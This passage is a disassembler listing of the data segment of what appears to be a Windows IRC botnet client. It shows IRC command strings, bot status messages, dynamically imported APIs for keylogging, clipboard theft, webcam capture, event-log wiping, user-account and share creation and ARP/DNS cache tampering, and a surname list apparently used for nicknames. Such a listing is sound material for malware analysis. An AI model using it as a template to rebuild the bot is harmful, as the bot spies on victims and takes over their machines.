aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_2		db '%s',0               ; DATA XREF: seg000:004021C9o
					; seg000:00402448o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: seg000:004021A2o
		align 4
dword_42DFC4	dd 43434401h, 0		; DATA XREF: seg000:00402184o
dword_42DFCC	dd 323333h		; DATA XREF: seg000:0040210Ao
					; seg000:0040258Co ...
aNotice		db 'NOTICE',0           ; DATA XREF: seg000:004020E8o
					; sub_409966+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: seg000:004020DCo
					; sub_409966+16o
unk_42DFE0	db  2Dh	; -		; DATA XREF: seg000:00402088o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 4
unk_42E004	db  2Dh	; -		; DATA XREF: seg000:0040206Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: seg000:0040203Do
aQuit		db 'QUIT',0             ; DATA XREF: seg000:00401FFCo
					; sub_40ED60+5B6o
		align 10h
aPart		db 'PART',0             ; DATA XREF: seg000:00401FEBo
					; seg000:004020A8o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: seg000:00401FC6o
		align 10h
aNick		db 'NICK',0             ; DATA XREF: seg000:00401ECBo
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: seg000:00401E79o
					; seg000:004020CCo
unk_42E058	db  2Dh	; -		; DATA XREF: seg000:00401E60o
					; seg000:004049BDo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: seg000:00401E07o
		align 10h
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: seg000:00401DC9o
					; seg000:00409666o ...
		align 4
a433		db '433',0              ; DATA XREF: seg000:00401DA1o
					; sub_417826:loc_41789Bo
a@:					; DATA XREF: seg000:00401D76o
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: seg000:00401D66o
a005		db '005',0              ; DATA XREF: seg000:00401D51o
a001		db '001',0              ; DATA XREF: seg000:00401D3Co
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:00401D20o
					; seg000:00401EB8o ...
		align 10h
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: seg000:00401CFFo
		align 4
aPing		db 'PING',0             ; DATA XREF: seg000:00401CE5o
					; sub_417826+4Eo
		align 4
asc_42E0C4:				; DATA XREF: seg000:00401CD6o
					; seg000:00409779o
		unicode	0, <!>,0
asc_42E0C8:				; DATA XREF: seg000:00401BF2o
					; seg000:004028FEo ...
		unicode	0, < >,0
asc_42E0CC	db ' :',0               ; DATA XREF: seg000:00401BD0o
					; seg000:loc_4025E4o
		align 10h
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409966+58o
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409A01+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409A01+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409A01:loc_40A66Bo
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409A01+C15o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409A01+C08o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409A01+BFBo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409A01+BEEo
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409A01+BE1o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409A01+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409A01:loc_40A5CDo
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409A01+B97o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409A01+B8Fo
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409A01:loc_40A583o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409A01+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409A01+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409A01+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409A01+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409A01:loc_40A50Fo
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409A01+AD9o
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409A01+AD1o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409A01:loc_40A4C5o
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409A01+A8Fo
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409A01+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409A01:loc_40A47Bo
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409A01+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409A01+9ECo
					; seg000:004187DCo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409A01+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409A01+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409A01+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409A01+9B8o
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409A01+9ABo
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409A01+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409A01+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409A01+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409A01+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409A01+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409A01:loc_40A35Fo
					; seg000:004187CFo
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409A01+921o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409A01+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409A01+90Co
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409A01:loc_40A300o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409A01+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409A01+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409A01+853o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409A01+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409A01+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409A01+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409A01+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409A01+812o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409A01+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409A01+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409A01+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409A01:loc_40A1E0o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409A01+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409A01+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409A01+68Co
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409A01+67Fo
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409A01+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409A01+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409A01+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409A01+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409A01+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409A01+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409A01+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409A01+617o
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_409A01+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409A01+5FDo
		align 10h
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409A01+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409A01+5D6o
		align 10h
aHtonl		db 'htonl',0            ; DATA XREF: sub_409A01+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409A01+5BCo
		align 10h
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409A01+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409A01+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409A01+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409A01+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409A01+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409A01+56Eo
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409A01+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409A01+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409A01+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409A01+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409A01+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409A01+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409A01+514o
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409A01+4A1o
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409A01+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409A01+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409A01+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409A01+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409A01+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409A01+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409A01+446o
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409A01+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409A01:loc_409E2Eo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409A01:loc_409E06o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409A01+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409A01+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409A01+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409A01+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409A01+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409A01+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409A01+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409A01:loc_409D58o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409A01+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409A01+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409A01:loc_409D13o
		align 10h
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409A01+2C6o
		align 10h
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409A01+2B9o
		align 10h
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409A01+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409A01+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409A01+292o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409A01+285o
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409A01+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409A01+270o
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409A01:loc_409C60o
		align 10h
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409A01+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409A01+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409A01+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409A01:loc_409BF9o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409A01+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409A01+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409A01+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409A01+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409A01+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409A01+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409A01+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409A01+14Ao
		align 10h
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409A01:loc_409B36o
					; sub_4250D1+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409A01:loc_409B09o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409A01+A0o
		align 10h
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409A01+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409A01+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409A01+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409A01+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409A01+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409A01+52o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409A01+45o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409A01+38o
		align 10h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409A01+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409A01+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409A01+Ao
		align 4
unk_42E9CC	db  2Dh	; -		; DATA XREF: sub_40A6BD+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+1FCo
		align 10h
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+28o
		align 4
a_:					; DATA XREF: sub_40D83A+13o
					; sub_40FCD8+24Co
		unicode	0, <.>,0
unk_42EB5C	db  2Dh	; -		; DATA XREF: sub_40AA20:loc_40AAF1o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42EB8C	db  2Dh	; -		; DATA XREF: sub_40AA20:loc_40AABFo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42EBBC	db  2Dh	; -		; DATA XREF: sub_40AA20:loc_40AA75o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 10h
unk_42EBE0	db  2Dh	; -		; DATA XREF: sub_40AA20+45o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AAF8+46o
					; sub_40BE55+38o
aReal		db 'real',0             ; DATA XREF: sub_40AF07+Fr
		align 10h
		dd 0
dword_42EC24	dd 0			; DATA XREF: sub_40AF07:loc_40AF2Er
off_42EC28	dd offset sub_40ABA1	; DATA XREF: sub_40AF07+4Ar
aConst		db 'const',0
		align 8
		dd 1, 40AC0Dh, 7474656Ch, 7265h, 0
		dd 2, 40AC6Bh, 706D6F63h, 2 dup(0)
		dd 3, 40ACB8h, 6E756F63h, 797274h, 0
		dd 4, 40AD27h, 736Fh, 2	dup(0)
		dd 5, 40AD9Ch
off_42EC90	dd offset aAbdulrazak	; DATA XREF: sub_40ABA1+20r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
		dd offset aAddison	; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
